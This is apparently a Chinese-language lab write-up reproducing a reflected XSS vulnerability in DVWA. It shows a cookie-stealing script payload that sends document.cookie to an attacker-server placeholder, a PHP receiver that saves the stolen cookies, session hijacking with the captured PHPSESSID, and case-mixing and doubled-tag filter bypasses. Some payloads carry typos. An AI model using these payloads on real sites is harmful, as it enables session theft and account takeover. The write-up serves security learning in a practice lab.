XSS漏洞復現
實驗環境DVWA
XSS(cross site script) 跨站腳本。屬於代碼執行的一種,這裏執行的是前端代碼,一般是javascript代碼。對於反射型的XSS,攻擊代碼是在Http的響應包中。攻擊者通過構造含有攻擊代碼的URL,被攻擊者點擊後,攻擊代碼在客戶端解釋執行。可以通過此惡意代碼向攻擊者的服務器發送被攻擊者的敏感信息,從而實現攻擊目的。
下面測試一下,攻擊者盜用cookie的實例。
- 登錄DVWA,將安全等級改爲low,選擇反射型XSS測試。
輸入123發現會在下方回顯輸入的內容。
- 嘗試輸入
<xss>
後發現頁面沒有回顯內容,打開開發者選項查看一下源代碼
發現輸入的內容被當做了html的標籤來對待了。
- 嘗試輸入一下代碼
<script>document.location='http://www.baidu.com'</script>
發現這段代碼被執行了。跳轉到了百度的界面。可以判定存在客戶端代碼執行。 - 這裏在虛擬機上開啓一個web服務,寫一個cook.php代碼。
<?php
//用來獲得用戶的cookie信息
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
-
構造攻擊url :
<script>document.loaction='http://攻擊者服務器ip地址/cookie.php?cookie='+document.cookie</script>
-
模擬被攻擊者去訪問一下:localhost:8081/dvwa/vulnerabilities/xss_r/?name=
<script>document.loaction='http://攻擊者服務器ip地址/cookie.php?cookie='+document.cookie</script>
注意:name參數需要進行url編碼,因爲其中含有特殊字符,無法直接傳遞到後端。這裏用hackbar進行編碼。
- 查看攻擊端的服務器,發現已經得到了用戶的cookie
8. 嘗試用用戶的cookie登錄一下:(修改PHPSESSID和security)
- 直接訪問index.php,發現登錄成功了。
Medium等級
經過測試Medium等級是存在雙寫繞過和大小寫繞過script標籤的。
輸入:
<ScrIPt>alert(xss)</srcipt>
<scr<script>ipt>alert(xss)</script>
都可以實現繞過